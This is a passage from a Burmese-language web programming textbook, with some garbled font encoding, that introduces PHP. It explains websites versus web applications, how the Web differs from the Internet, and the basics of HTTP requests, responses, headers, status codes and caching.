dနာက် gပန်goုတ်oို့dတာ့ မdမ့ပါနဲ့။ စနစ်မကျzူးဆိုတာ ဒါကိုdgပာတာပါ။ ကိုယ့်zာသာ Manual ထည့်ပြပီး
စမ်းထားမိdတာ့၊ ပြပီးတဲ့အခါမှာလည်း ကိုယ့်zာသာပဲ  Manual  gပန်ထုတ်dပးရမှာပါ။ မထုတ်မိရင် အ့ဲဒီလုိ
စမ်းထားတဲ့ Log dတွက ကုဒ်ကို Run လုိက်တိုင်း Console မှာ အပြမဲတမ်း လာdပါ်dနမှာပါ။

တစ်ကယ့်ပdရာZျက်ကြကီးdတွမှာdတာ့  ပုိပြပီးစနစ်ကျတဲ့  Debugging  Tool  dတွကို  သံုးရမှာgoစ်dပမယ့်၊
dလာdလာဆယ် dလ့လာဆဲအဆင့်မှာdတာ့ ဒီနည်းနဲ့တင် အဆင်dgပdနပါပြပီ။ 

ဒီdလာက်ဆိုရင်  JavaScript  နဲ့ပက်သက်ပြပီး  အdတာ်dလး  gပည့်စုံသွားပါပြပီ။  dနာက်တစ်ပုိင်းမှာ  PHP
အdeကာင်း  dလ့လာရင်း၊  နည်းနည်းပုိအဆင့်gမင့်လာပြပီgoစ်တဲ့  Programming  သdzာသzာဝdတွကို
ဆက်လက်goည့်စွက် dလ့လာသွားeကပါမယ်။



အပိမေုင်း (၄)
PHP
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အခန်း (၂၄) – Website vs. Web Application

PHP  ဟာ  လက်ရှိ  Web  Development  ကဏ္ဍမှာ  လူသံုးအများဆုံး  Server-Side  Programming
Language  goစ်ပါတယ်။  Facebook, Wikipedia, Vimeo, Slack  စသည်goင့် အသံုးgပုသူ သန်းdပါင်းများ
စွာရှိတဲ့ ဝz်ဆိုက်dတွကအစ PHP ကို အသံုးgပု oန်တီးထားeကgခင်း goစ်ပါတယ်။ ဒီdနရာမှာ dရှ့ မဆက်
ခင် Website နဲ့ Web Application ဆိုတဲ့အသံုးအနှုန်းနှစ်ခုကို အရင်ကြကိုပြပီး ရှင်းထားချင်ပါတယ်။

Chrome, Firefox, Edge စတဲ့ Web Browser dတွမှာ လိပ်စာ URL ရိုက်ထည့်ပြပီး အသံုးgပုရတဲ့ ဝz်ဆိုက်
dတွကို  နှစ်ပိုင်းခွဲလ့ုိ  ရပါတယ်။  ပံုdသ  အဓိပ္ပါယ်oွင့်ဆိုချက်  မရှိdပမယ့်  အများအားgoင့်  သတင်း
အချက်အလက်  doာ်gပယုံနဲ့  doာင်goည့်ယုံ  သက်သက်dလာက်ဆိုရင်  Website  လ့ုိdခါ်eကပြပီး၊  အသံုးချ
လုပ်dဆာင်ချက်dတွ ပါဝင်တယ်ဆိုရင်dတာ့  Web Application  လ့ုိ dခါ်eကပါတယ်။  Facebook  မှာ ပ့ုိစ်
dတတွင်လ့ုိရတယ်။ Messenger နဲ့ စာပ့ုိ စကားdgပာလ့ုိရတယ်။ Vimeo မှာ ဗီွဒီယုိdတွ တင်လုိ့လ့ုိရတယ်။
ဒီလုိမျ ို း အသံုးချ လုပ်dဆာင်ချက်dတွ ပါဝင်လာပြပီဆိုတဲ့အခါ Web Application လ့ုိ dခါ်eကတာပါ။ 

ဒီစာအုပ်မှာ Website နဲ့  Web Application ဆိုတဲ့အသံုးအနှုန်းနှစ်မျ ို းကို တစ်dနရာမှာတစ်မျ ို း မသံုးdတာ့
ပါzူး။  ဗမာလို  ဝz်ဆိုက်လ့ုိ  ကျစ်ကျစ်လစ်လစ်  တစ်မျ ို းထဲပဲ သံုးနှုန်းdoာ်gပသွားမှာပါ။  ဝz်ဆိုက်  ဆိုတဲ့
အသံုးအနှုန်းကိုdတွ့ရင်  Website  dတွdရာ၊  Web  Application  dတွdရာ  အားလုံးကို  ဆိုလုိတယ်  လ့ုိ
မှတ်ယူ oတ်ရှုdပးပါ။

ဝz်ဆိုက်dတွ oန်တီးတည်dဆာက်တဲ့ လုပ်ငန်းကို  Web Development လ့ုိ dခါ်eကတာပါ။ ပရိုZရမ်းမင်း
zာသာခွဲ  တစ်ခုလုိ့  ဆိုနိုင်ပါတယ်။  Desktop  Solution  Development,  System  Software
Development, Mobile App Development စသည်goင့် တgခား ပရိုZရမ်းမင်း zာသာခွဲdတွ ရိှeကပါdသး
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တယ်။ ဒါdတွအားလံုးကို  စုစည်းပြပီး  Software Development  ဆိုတဲ့  ပင်မdခါင်းစဉ် တစ်ခုထဲdအာက်မှာ
လည်း ထည့်သွင်း သတ်မှတ်နိုင်ပါdသးတယ်။ ဒီအdခါ်အdဝါ် သတ်မှတ်ချက်dတွကို  စံချနိ်စံညွှန်းတစ်ခုနဲ့
အဓိပ္ပါယ်oွင့်ဆို သတ်မှတ်ထားတာမျ ို း မဟုတ်လို့ သင့်dတာ်သလုိ အမျ ို းမျ ို းdခါ်eကတဲ့ သdzာပါ။

PHP ဟာ General Purpose Programming Language dခါ် Software Development လုပ်ငန်းမျ ို းစုံမှာ
သံုးမယ်ဆိုရင်  သုံးလ့ုိရတဲ့  Language  တစ်ခုgoစ်ပါတယ်။ ဒါdပမယ့်  ထူးgခားချက်ကdတာ့၊  စတင်တီထွင်
ကတည်းက PHP ကို  Web Development လုပ်ငန်းအတွက် ရည်ရွယ်တီထွင်ခဲ့တာပဲ goစ်ပါတယ်။ တgခား
Programming Language dတွကိုလည်း Web Development လုပ်ငန်းအတွက် သံုးလုိ့ရdပမယ့် အများစု
က PHP  လုိ Web Development အတွက်ဆိုပြပီး ဦးစားdပး တီထွင်ထားeကတာမျ ို း မဟုတ်ပါzူး။ 

ဒါdeကာင့်  Programming Language  dတွ အများကြကီး ရှိတဲ့ထဲမှာ အdကာင်းဆုံးလို့  dgပာလ့ုိ မရdပမယ့်၊
Web Development   လုပ်ငန်းနဲ့ အသင့်dတာ်ဆုံး   Language   လ့ုိdတာ့ dgပာလ့ုိ ရနိုင်ပါတယ်။ PHP ရဲ့ မူလ
အစအမည်က Personal Home Page goစ်ပါတယ်။ အခုdတာ့ PHP: Hypertext Processor လ့ုိ dခါ်eကပါ
တယ်။ Recursive Acronym dခါ် အတိုdကာက်အမည်ကို အမည်အgပည့်အစုံမှာ gပန်ထည့်သုံးတဲ့ dရးနည်း
ကို  သံုးထားတပါ။  ဒီdရးနည်းနဲ့  သံုးeကတဲ့တgခား  နည်းပညာdတွ  အdgမာက်အများ  ရှိeကပါdသးတယ်။
ဥပမာ GNU's Not Unix (GNU), WINE Is Not an Emulator (WINE) စသည်goင့်ပါ။

PHP  ဟာ  Server-side Programming Language  တစ်ခုgoစ်ပါတယ်။  Client-side Language  goစ်တဲ့
JavaScript  နဲ့  သdzာသzာဝ  မတူပါzူး။  သdzာသzာဝ  မတူdပမယ့်  dရးထံုးdတွကdတာ့
dတာ်dတာ်dလး ဆင်တူလ့ုိ dရှ့ အပိုင်းမှာ doာ်gပခဲ့တဲ့  JavaScript  သင်ခန်းစာdတွကို dလ့လာတတ်ကျွမ်း
ထားသူဟာ PHP ကို အလွယ်တစ်ကူ ဆက်လက်dလ့လာ အသံုးချနိုင်မှာ goစ်ပါတယ်။ 

Server-side Programming ဆိုတာzာလဲဆိုတာကိုdတာ့ dနာက်တစ်ခန်းမှာ ဆက်eကည့်eကပါမယ်။



PWD 2022 – အခန်း (၂၅) – World Wide Web 382

အခန်း (၂၅) – World Wide Web

PHP အdeကာင်း မdgပာခင် World Wide Web နည်းပညာအdeကာင်း အရင်dgပာo့ုိ လုိအပ်ပါတယ်။ အရင်
က World Wide Web နည်းပညာကို အတိုdကာက် WWW လ့ုိ dခါ်eကdပမယ့် အခုdတာ့ မdခါ်eကdတာ့ပါ
zူး။  WWW  လ့ုိ အတိုdကာက် အသံထွက်ရတာက  World Wide Web  လ့ုိ အgပည့်အစုံ  အသံထွက်ရတာ
ထက်dတာင် ပုိရှည်dနလ့ုိပါ။ အခုdတာ့ အတိုdကာက် Web လ့ုိပဲ dခါ်eကပါdတာ့တယ်။

Web ဆိုတာ အင်တာနက်ကို အသံုးgပုပြပီး သတင်းအချက်အလက်dတွ goန့်dဝ/ရယူနိုင်တဲ့ နည်းပညာတစ်
ခု goစ်ပါတယ်။ ဒီdနရာမှာ Web နဲ့ Internet ဆိုတဲ့ နည်းပညာနှစ်ခုကို မdရာo့ုိ လုိပါတယ်။ အင်တာနက်ဆို
တာ ကမ္ဘာအရပ်ရပ်မှာ ရိှတဲ့ ကွန်ပျူတာ Network များ အgပန်အလှန် ချနိ်ဆက်ထားတဲ့  Network များရဲ့
Network  ကွန်ယက်ကြကီး  goစ်ပါတယ်။  ဒီအင်တာနက်ကွန်ယက်ကို  အသံုးgပုပြပီး  သတင်းအချက်အလက်
goန့်dဝ/ရယူနိုင်တဲ့  နည်းပညာdပါင်း များစွာရှိပါတယ်။ ဥပမာ  -  အီးdမးလ်ဟာ အင်တာနက်ကို  အသံုးgပု
ပြပီး စာပ့ုိ/စာယူ လုပ်နိုင်တဲ့ နည်းပညာတစ်ခုပါ။ FTP dခါ် အင်တာနက်ကို အသံုးgပုပြပီး oုိင်dတွ dပးပ့ုိ/ရယူ
နိုင်တဲ့ နည်းပညာရှိပါတယ်။ Web ဆိုတာ အ့ဲဒီလုိ နည်းပညာdပါင်းများစွာထဲက တစ်ခုအပါအဝင်ပါ။

ကdန့အချနိ်မှာ  Web Browser  ကိုoွင့်ပြပီး  ဝz်ဆိုက်dတွ eကည့်လုိ့ရသလုိ၊ အီးdမးလ်လည်း ပ့ုိလ့ုိ  ရdနပါ
တယ်။ oုိင်dတွလည်း ပ့ုိလုိရ့dနပါတယ်။ စာdတွ၊ ရုပ်သံdတွနဲ့လည်း ဆက်သွယ်လ့ုိရdနပါတယ်။ ဒါdeကာင့်
Web = Internet  လ့ုိ ထင်ချင်စရာ goစ်dနပါတယ်။ မဟုတ်ပါzူး။  Web    ဆိုတာ    Internet    ကိုအသံုးgပုပြပီး  
သတင်းအချက်အလက်dတွ goန့်dဝ  /  ရယူနိုင်တဲ့ နည်းပညာdပါင်း များစွာထဲကတစ်ခု   သာgoစ်တယ်ဆိုတာ
ကို ရှင်းရှင်းလင်းလင်း သိgမင်ထားo့ုိ လုိအပ်ပါတယ်။
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Web နည်းပညာမှာ အပုိင်း (၃) ပုိင်း ပါဝင်ပါတယ်။ Client, Server နဲ့ Protocol တို့ပါ။

• Client ဆိုတာ လုိချင်တဲ့ အချက်အလက်ကို ဆက်သွယ်dတာင်းယူမယ့်သူ ပါ။
• Server ဆိုတာ ဆက်သွယ်dတာင်းယူလာတဲ့အခါ တုံ့gပန်dပးပ့ုိမယ့်သူ ပါ။
• Protocol  ကdတာ့  Client  နဲ့  Server  တို့  အgပန်အလှန်ဆက်သွယ်oုိ့  အသံုးgပုeကမယ့်  eကားခံ

ဆက်သွယ်dရးနည်းပညာ ပါ။

Client zက်ပုိင်းမှာ (၃) မျ ို း ထပ်ခွဲပြပီး dgပာချင်ပါdသးတယ်။ User, Device နဲ့ User Agent တို့ပါ။

• User ကdတာ့ အချက်အလက်dတွကို ရယူလုိသူ သင်ကိုယ်တိုင် ပါ။
• Device ကdတာ့ သင်အသံုးgပုမယ့် ကွန်ပျူတာ၊ oံုး၊ Tablet စတဲ့ စက်ပစ္စည်း ပါ။
• User  Agent  ကdတာ့  သင့်ကိုယ်စား  အချက်အလက်dတွကို  အမှန်တစ်ကယ်  သွားယူdပးမယ့်

dဆာ့o်ဝဲ ပါ။  အများအားgoင့်  Web Browser  ကို  dgပာတာပါ။  Web Browser  မဟုတ်တဲ့  User
Agent dတွလည်း ရှိပါdသးတယ်။

Server zက်gခမ်းမှာလည်း (၂) မျ ို းခွဲလ့ုိ ရနိုင်ပါတယ်။ Server ကွန်ပျူတာ နဲ့ Server dဆာ့o်ဝဲ ပါ။ Server
ကွန်ပျူတာ တစ်ခုမှာ Server dဆာ့o်ဝဲ အမျ ို းမျ ို း ရှိdနနိုင်ပါတယ်။ ဥပမာ Server တစ်ခုထဲကပဲ ဝz်ဆိုက်
ကို  dတာင်းယူလာရင်  gပန်dပးနိုင်သလုိ၊  oုိင်ကို  dတာင်းယူလာရင်လည်း  gပန်dပးနိုင်တာမျ ို းပါ။  အ့ဲဒီလို
အလုပ်လုပ်နိုင်o့ုိဆိုရင် Server ကွန်ပျူတာ မှာ Web Server dဆာ့o်ဝဲနဲ့ FTP Server dဆာ့o်ဝဲတို့ ရိှdနo့ုိလုိ
ပါတယ်။

ဆက်သွယ်dရး နည်းပညာမှာလည်း အမျ ို းမျ ို းရှိနိုင်dပမယ့် အ့ဲဒီdလာက်ထိ ချဲ့ရင်dတာ့ ရှုပ်ကုန်မှာ စိုးရပါ
တယ်။ ဒါdတွကို dgပာgပdနတယ်ဆိုတာ အလုပ်လုပ်သွားပံုကို မျက်စိထဲမှာ gမင်eကည့်နိုင်o့ုိ dgပာdနတာပါ။
ဒီလုိ  gမင်eကည့်နိုင်မှ  နားလည်မှာ  မ့ုိလ့ုိပါ။  ဒါdeကာင့်  gမင်eကည့်ရလွယ်dအာင်  ဆက်သွယ်dရးနည်းပညာ
ကdတာ့ တစ်ခုထဲကိုပဲ သံုးeကတယ် လ့ုိ dလာdလာဆယ် မှတ်ထားdပးပါ။  HTTP  လ့ုိ အတိုdကာက် dခါ်
eကတဲ့  Hyptertext Transfer Protocol  ကိုသုံးeကတာပါ။  Client  နဲ့  Server  တို့က  HTTP  ကိုအသံုးgပုပြပီး
ဆက်သွယ်အလုပ်လုပ်eကပံုကို dနာကတ်စ်မျက်နှာမှာ gပထားတဲ့ ပံုdလးနဲ့ dလ့လာeကည့်ပါ။
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eကည့်ရလွယ်dအာင် အလုပ်လုပ်တဲ့အစီအစဉ်အတိုင်း 1, 2, 3 နံပါတ်စဉ်တပ်gပထားပါတယ်။

• ပထမဦးဆုံး  User က User Agent goစ်တဲ့  Browser ထဲမှာ လုိချင်တဲ့ အချက်အလက်တည်dနရာ
လိပ်စာ   URL   ကို ရိုက်ထည့်   ရပါတယ်။

• Browser က URL dပါ်မူတည်ပြပီး သင့်dတာ်တဲ့ HTTP Request ကို တည်dဆာက်ပါတယ်။ HTTP
Request  မှာ  Header နဲ့  Body ဆိုပြပီး နှစ်ပုိင်းပါပါတယ်။ နမူနာပံုရဲ့ နံပါတ်  (၁)  မှာ နှစ်ပိုင်းခွဲ gပ
ထားတာကို သတိgပုပါ။ ပြပီးတဲ့အခါ Request   ကို dပးပ့ုိ   ပါတယ်။ 

• Server  က Request  လက်ခံရရှိတဲ့အခါ လုပ်စရာရှိတဲ့အလုပ်ကို  လုပ်ပါတယ်။ နမူနာပံုအရ User
လုိချင်တာက  home.php  goစ်ပါတယ်။  home.php  ထဲမှာ  HTML  ကုဒ်dတွ၊  PHP  ကုဒ်dတွ၊
JavaScript ကုဒ်dတွ dပါင်းစပ် ပါဝင်dနပါတယ်။ <?= 1 + 2 ?> ဆိုတဲ့လုိင်းက PHP ကုဒ်ပါ။
Server က PHP   ကုဒ်dတွကို    Run   လုိက်ပါတယ်။ ဒီလုိ  Run လုိက်တဲ့အတွက်  1 + 2 ရဲ့ ရလဒ် 3
ထွက်dပါ်လာပြပီး ရလဒ်မှာ 3 ပဲ ပါဝင်dတာ့တာကို dတွ့ရမှာgoစ်ပါတယ်။ PHP ကုဒ်dတွ ရလဒ်ထဲ
မှာ မကျန်dတာ့ပါzူး။ အလုပ်လုပ်ပြပီးသွားပါပြပီ။  ဒီလိုသdzာမျ ို းနဲ့    Server    zက်gခမ်းမှာ အလုပ်  
လုပ်လုိ့   PHP   ကို   Server-side   နည်းပညာလုိ့dခါ်တာပါ  ။

• Server က HTTP Response ကိုတည်dဆာက်ပါတယ်။ HTTP Response မှာလည်း  Header နဲ့
Body ဆိုပြပီး နှစ်ပုိင်းရှိပါတယ်။ Body dနရာမှာ dစာdစာကအလုပ်လ့ုိ ရလာတဲ့ ရလဒ်ရှိdနတာကို
dတွ့ရနိုင်ပါတယ်။ ပြပီးတဲ့အခါ Response   ကို gပန်လည်dပးပို့   ပါတယ်။

• User Agent က Response ကိုလက်ခံရရှိတဲ့အခါ User eကည့်လ့ုိရdအာင်gပ dပးပါတယ်။
• ဆက်သွယ်မှုတစ်ခု ပြပီးဆုံးသွားပြပီgoစ်ပါတယ်။

Request/Response Headers
Client Request  မှာ  Header  နဲ့  Body ဆိုပြပီး နှစ်ပုိင်းရှတိယ်လ့ုိdgပာထားပါတယ်။ Client  က Server  ကို
ဆက်သွယ်တဲ့အခါ အမှန်တစ်ကယ် dပးပုိ့ရမယ့် အချက်အလက်အgပင် zယ်လုိပံုစံ လုိချင်တာလဲဆိုdတာ့
အချက်အလက်dတွကိုပါ ထည့်သွင်းdပးပို့ရပါတယ်။ ဒါdeကာင့်  Header နဲ့  Body ဆိုပြပီး နှစ်ပုိင်း ရှိdနတာ
ပါ။ Header   က zယ်လုိပံုစံလုိချင်တာလဲဆိုတဲ့ လုိလားချက်dတွ   goစ်ပြပီးdတာ့ Body   ကdတာ့ ကိုယ့်zက်  
က dပးပို့လုိတဲ့ အချက်အလက်dတွ goစ်ပါတယ်။
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အလားတူပဲ  Server  က  အdeကာင်းgပန်တဲ့  Response  မှာလည်း  Header  နဲ့  Body  နှစ်ပုိင်းရှိပါတယ်။
Header  က zယ်လုိပံုစံ gပန်လည်dပးပ့ုိပါတဲ့ ဆိုတဲ့  သတင်းပ့ုိချက်dတွgoစ်ပြပီးdတာ့  Body  က အမှန်တစ်
ကယ် dပးပ့ုိတဲ့ အချက်အလက်dတွgoစ်ပါတယ်။

dပးထားတဲ့နမူနာပံုမှာ dလ့လာeကည့်လုိက်ရင် Request Header မှာ GET /home.php HTTP/1.1
ဆိုတဲ့ အချက်တစ်ချက် ပါဝင်တာကို dတွ့ ရနိုင်ပါတယ်။ GET ကို Request Method လ့ုိdခါ်ပါတယ်။ ဆက်
သွယ်မှု gပုလုပ်ရgခင်း အdeကာင်းရင်းကို ဒီ  Request Method နဲ့ ထည့်သွင်းအသိdပးပြပီး ဆက်သွယ်ရတာ
ပါ။  GET  ရဲ့အဓိပ္ပါယ်က  အချက်အလက်dတွ ရယူလုိတယ် ဆိုတဲ့  အဓိပ္ပါယ်goစ်ပါတယ်။ တgခား  Request
Method  dတွရှိပါdသးတယ်။  POST,  PUT,  PATCH,  DELETE  စသည်goင့်ပါ။  ဒီdနရာမှာdတာ့  GET  နဲ့
POST နှစ်မျ ို းမှတ်ထားရင် လံုdလာက်ပါတယ်။ ကျန်တဲ့  Request Method dတွအdeကာင်းကို  API အပုိင်း
dရာက်တဲ့အခါ ဆက်လက်dလ့လာနိုင်ပါတယ်။ GET Request Method ကို အချက်အလက်dတွ ရယူလုိတဲ့
အခါ  အသံုးgပုပြပီး  POST  Request  Method    ကိုdတာ့  အချက်အလက်dတွ  dgပာင်းလဲdစလုိတဲ့အခါ  
အသံုးgပုပါတယ်။ dgပာင်းလဲတယ်ဆိုတာ အသစ်တိုးသွားတာလည်း goစ်နိုင်တယ်၊ ရှိပြပီးသားကို  gပင်လုိက်
တာလည်း goစ်နိုင်တယ်၊ oျက်လုိက်တာမျ ို းလည်း goစ်နိုင်ပါတယ်။

Request Method  ရဲ့dနာက်မှာ  URI  dခါ်လုိချင်တဲ့  Resource  ရဲ့  လိပ်စာလုိက်ရပါတယ်။  Resource  ဆို
တာ HTML Document လည်း goစ်နိုင်တယ်၊  Image oုိင်လည်းgoစ်နိုင်တယ်၊  JavaScript  ကုဒ်dတွလည်း
goစ်နိုင်တယ်၊  PDF  oုိင်dတွလည်းgoစ်နိုင်တယ်၊  အမျ ို းမျ ို းgoစ်နိုင်ပါတယ်။  zာကိုလုိချင်သည်  goစ်dစ
dတာင်းယူလ့ုိရပါတယ်။  Server  dပးနိုင်ရင်gပန်dပးမှာgoစ်ပြပီးdတာ့  မdပးနိုင်ရင်  မdပးနိုင်တဲ့အdeကာင်း
gပန်dgပာပါလိမ့်မယ်။

dနာက်ဆုံးက HTTP/1.1 ကdတာ့ အသံုးgပုလုိတဲ့ HTTP Version goစ်ပါတယ်။ Client နဲ့ Server အသုံးgပု
လုိတဲ့  Version  တူo့ုိလုိပါတယ်။ စကတည်းက  Client  က သူအသံုးgပုလုိတဲ့  Version  ကိုတစ်ခါထဲ ထည့်
dgပာလုိက်တဲ့သdzာပါ။

ဒီသdzာသzာဝကို သိထားo့ုိပဲလုိပါတယ်။ ကိုယ်တိုင်အdသးစိတ် လုိက်စီမံo့ုိdတာ့ ဒီအဆင့်မှာ မလုိအပ်
dသးပါzူး။ အသံုးgပုdနတဲ့ Browser က လုိအပ်တဲ့ Request မှန်dအာင် သ့ူzာသာ eကည့်စီစဉ်dပးသွားပါ
လိမ့်မယ်။ ဒါကို လက်dတွ့eကည့်ချင်ရင် အခုလုိeကည့်လို့ရပါတယ်။
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နမူနာပံုအရ  Chrome Browser  မှာ  DevTools  ကိုoွင့်ထားပြပီး  URL Bar  မှာ  google.com  လ့ုိရိုက်ထည့်
လုိက်တာပါ။  DevTools  ရဲ့  Network Section  မှာ eကည့်လိုက်ရင် ရိုက်ထည့်လုိက်တဲ့ လိပ်စာdပါ်မူတည်
ပြပီး  လုိအပ်တဲ့  ဆက်သွယ်မှုdတွကို  Browser  က တန်းစီပြပီး  gပုလုပ်dပးသွားတာကို  dတွ့gမင်ရမှာ goစ်ပါ
တယ်။ ဒီdနရာမှာ လုိချင်တာကdတာ့ Google Home Page တစ်ခုထဲကို လုိချင်တာပါ။ ဒါdပမယ့် Google
Home Page ကို ရယူပြပီး doာ်gပeကည့်တဲ့အခါ Logo dတွ CSS ကုဒ်oုိင်dတွ Font oုိင်dတွ Script oုိင်dတွ
လည်း လုိအပ်dနdသးတာကို  Browser  က သိသွားတဲ့အတွက် လုိအပ်တဲ့ ဆက်စပ်အချက်အလက်dတွကို
တစ်ခုပြပီးတစ်ခု ဆက်လကရ်ယူပြပီး gပည့်စုံdအာင်အလုပ်လုပ်dပးသွားလ့ုိ အခုလုိdတွ့gမင်ရတာပါ။

dပးပ့ုိသွားတဲ့  Request အdသးစိတ်ကို သိချင်ရင် နမူနာပံုရဲ့ နံပါတ် (၃) gပထားတဲ့ dနရာက သက်ဆိုင်ရာ
အချက်အလက်ကို  နှိပ်eကည့်လ့ုိရပါတယ်။  ဒီလုိနှိပ်eကည့်လိုက်တဲ့အခါ  နံပါတ်  (၄)  gပထားတဲ့dနရာမှာ
Browser က dပးပ့ုိသွားတဲ့ Request Header ပါ အချက်အလက်များနဲ့ gပန်လည်လက်ခံရရှိတဲ့ Response
Header ပါ အချက်အလက်များကို အdသးစိတ် dတွ့ gမင်ရမှာgoစ်ပါတယ်။

နမူနာအရ Request Header  မှာပါဝင်တဲ့  Request Method  က GET  goစ်ပြပီး  User-Agent  လည်း ပါဝင်
တာကို  dတွ့gမင်ရမှာ  goစ်ပါတယ်။  သတိgပုစရာအdနနဲ့  Accept-Encoding  ဆိုတဲ့  Header  နဲ့အတူ
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Browser  က နားလည် အလုပ်လုပ်နိုင်တဲ့  Encoding Format  dတွကိုလည်း တန်းစီထည့်dပးထားတာကို
dတွ့ရမှာပါ။  နမူနာမှာ  dတွ့gမင်ရတဲ့  gzip  တို့  deflate  တို့ဆိုတာ  Compression  နည်းပညာdတွပါ။
Browser က Google Home Page ကိုလုိချင်တယ်၊ gzip (သ့ုိမဟုတ်) deflate နဲ့ ချုံ့ပြပီးမှ dပးချင်ရင်dပး
လ့ုိရတယ်လ့ုိ dgပာလုိက်တာပါ။ ဒီdတာ့ Server ကသာ dgပာထားတဲ့အတိုင်း ရလဒ်ကိုချုံ့ပြပီးမှ dပးလုိက်ရင်
Size  dသးသွားလ့ုိ ဆက်သွယ်ရတာ ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။ ဒါဟာ ဝz်ဆိုက်တစ်ခရုဲ့  အလုပ်လုပ်ပံု
gမန်ဆန်dစo့ုိအတွက်  အdရးပါတဲ့  သdzာသzာဝတစ်ခုပဲ  goစ်ပါတယ်။  ဒီလိုပဲ  Header  မှာပါဝင်တဲ့
အချက်အလက် တစ်ခုချင်းစီမှာ သ့ူအဓိပ္ပါယ်နဲ့သူ ရိှeကပါတယ်။

Server  zက်ကgပန်လည်dပးပို့တဲ့  Response  နဲ့ပက်သက်တဲ့  အdသးစိတ်ကိုလည်း  အ့ဲဒီdနရာမှာလည်း
ဆက်ပြပီးdတာ့ dလ့လာeကည့်လ့ုိ ရနိုင်ပါတယ်။

နမူနာအရ  Server Response  မှာ  HTTP/1.1 301 Moved Permanently  လ့ုိ ပါဝင်တာကို  dတွ့gမင်ရမှာ
goစ်ပါတယ်။ HTTP/1.1 ကdတာ့ အလုပ်လုပ်dနတဲ့ HTTP Version goစ်ပြပီး 301 Moved Permanently ကို
Status  Code  လ့ုိ  dခါ်ပါတယ်။  Server  က  ဆက်သွယ်မှုအdgခအdနကို  ဒီလုိ  Status  Code  dတွနဲ့
အdeကာင်းgပန်ပါတယ်။  301 Moved Permanently  ကို သ့ူdအာက်က Location Header  နဲ့ တွဲပြပီးdတာ့
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eကည့်သင့်ပါတယ်။ ကျွန်dတာတ်ို့ ရိုက်ထည့်လုိက်တာက google.com ပါ။ Server က gပန်dgပာdနတာက
google.com ဆိုတာ မရှိdတာz့ူး (Move Permanently dနရာdရ¢့လုိက်ပြပီ)။ www.google.com goစ်သွား
ပြပီလ့ုိ  dgပာdနတာပါ။  ဒီအချက်အလက်ကို  လက်ခံရရှိတဲ့အခါ  Browser  က  အလုိအdလျှာက်
www.google.com  ကို  ဆက်လက်ရယူ  အလုပ်လုပ်dပးသွားလ့ုိ  ရလဒ်အမှန်ကို  dတွ့gမင်ရgခင်း  goစ်ပါ
တယ်။ တစ်ကယ်dတာ့  ကျွန်dတာ်တို့ရိုက်ထည့်လုိက်တဲ့  လိပ်စာက နည်းနည်း  မှားdနတာပါ။  မှားdနdပ
မယ့် မှန်တဲ့dနရာကို သိdတာ့ gပဿနာမရှိdတာ့ပါzူး။ 

ဒီdနရာမှာ လိပ်စာက လံုးဝမှားdနတာမျ ို းဆို ရင်dတာ့ 404 Not Found ဆိုတဲ့ Status Code ကို gပန်လည်
ရရှိမှာ goစ်ပါတယ်။ Status Code dတွမှာ dနာက်ထပ် အdတွ့ရများနိုင်တာdတကွdတာ့ 200 OK နဲ့  500
Internal  Server  Error  တို့ပဲgoစ်ပါတယ်။  အစစအရာရာအဆင်dgပတဲ့  ဆက်သွယ်မှုဆိုရင်  200  OK  ကို
gပန်လည်ရရှိမှာgoစ်ပြပီး  Server  မှာ  Error  တစ်ခုခုရှိdနလ့ုိ အဆင်မdgပရင်dတာ့  500 Internal Server  ကို
gပန်လည်ရရှိမှာ goစ်ပါတယ်။ gပန်လည်ရရှိတဲ့  Status Code  dတွကို ဒီအဆင့်မှာ ကိုယ်တိုင်စီမံo့ုိ မလုိအပ်
dသးပါzူး။  Browser  က  Status  Code  dပါ်မူတည်ပြပီး  သင့်dတာ်သလုိ  အလုပ်လုပ်dပးသွားမှာ  goစ်ပါ
တယ်။ API dတွzာdတွ oန်တီးတဲ့အဆင့်ကို dရာက်လာdတာ့မှာ ဒီ Status Code dတွကို ကိုယ်တိုင် စီမံရ
မှာပါ။ ဒါdeကာင့် ကျန်အသံုးများတဲ့  Status Code  dတွကိုdတာ့ dနာက်ဆုံးပိုင်း  API  အdeကာင်း dရာက်
dတာ့မှ ဆက်dလ့လာeကပါမယ်။

Response Header မှာပါတဲ့ အထဲက အdရးကြကီးတာdလး တစ်ခုကdတာ့ Cache-Control Header goစ်ပါ
တယ်။  ဒီရလဒ်ကို  ခဏနေသိမ်းထားလ့ုိ  ရတယ်လ့ုိ  dgပာထားတာပါ။  ဒါdeကာင့်  Browser  က  ရလဒ်ကို
သိမ်းထားပြပီး dနာက်လုိရင် gပန်သံုးနိုင်လ့ုိ ထပ်ခါထပ်ခါ သွားgပန်ယူစရာ မလုိအပ်dတာ့ပါzူး။ အလုပ်လုပ်
ပံု အများကြကီးပုိgမန်သွားမှာပါ။ ဒါdပမယ့် Server ကdန လံုးဝ သွားမယူdတာရ့င် အပြမဲတမ်း အdဟာင်းကြကီး
ပဲ  goစ်dနမှာစိုးလ့ုိ  max-age  ဆိုတဲ့  တန်oုိးdလးတစ်ခု  တွဲdပးထားတာကို  dတွ့ရမှာ goစ်ပါတယ်။ နမူနာ
အရ 2592000  စက္ကန့်လ့ုိ dပးထားတဲ့အတွက် ရက်  (၃၀)  သိမ်းထားလ့ုိ ရမှာgoစ်ပါတယ်။ ရက်  (၃၀)  gပည့်
ရင်dတာ့ အသစ်ကို  Server ကdန dနာက်တစ်ခါ သွားgပန်ယူရမှာပါ။ ဒါက Google Home Page လုိ သိပ်
အdgပာင်းအလဲ မရှိနိုင်တဲ့ dနရာမ့ုိလို့ ဒီdလာက်ပမာဏနေ သတ်မှတ်ထားတာပါ။ မeကာခဏနေ အdgပာင်းအလဲ
ရိှတဲ့dနရာdတွမှာdတာ့  (၁)  နာရီ၊  (၁၀)  မိနစ်  စသည်goင့်  လုိအပ်ချက်နဲ့အညီ သတ်မှတ်dပးထားတာမျ ို း
goစ်နိုင်ပါတယ်။
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သ့ူအdပါ်မှာ  Expires Header  နဲ့  ဒီ  Response  ရဲ့  သက်တမ်းကုန်မယ့်ရက်ကို  ထည့်dပးထားတာလည်း
dတွ့နိုင်ပါတယ်။ လက်dတွ့မှာ Cache-Control Header နဲ့ Expires Header နှစ်ခုထဲက တစ်ခုပါရင် ရပါ
ပြပီ။  Cache-Control  ပါရင်  Expires  ကို  Browser  dတွက  ထည့်သွင်း  မစဉ်းစားdတာ့ပါzူး။  Google
ကdတာ့  တစ်ချ ို ့  Proxy  dတွ  Firewall  dတွသံုးတဲ့လူdတွအတွက်  Cache-Control  အလုပ်မလုပ်ခဲ့ရင်
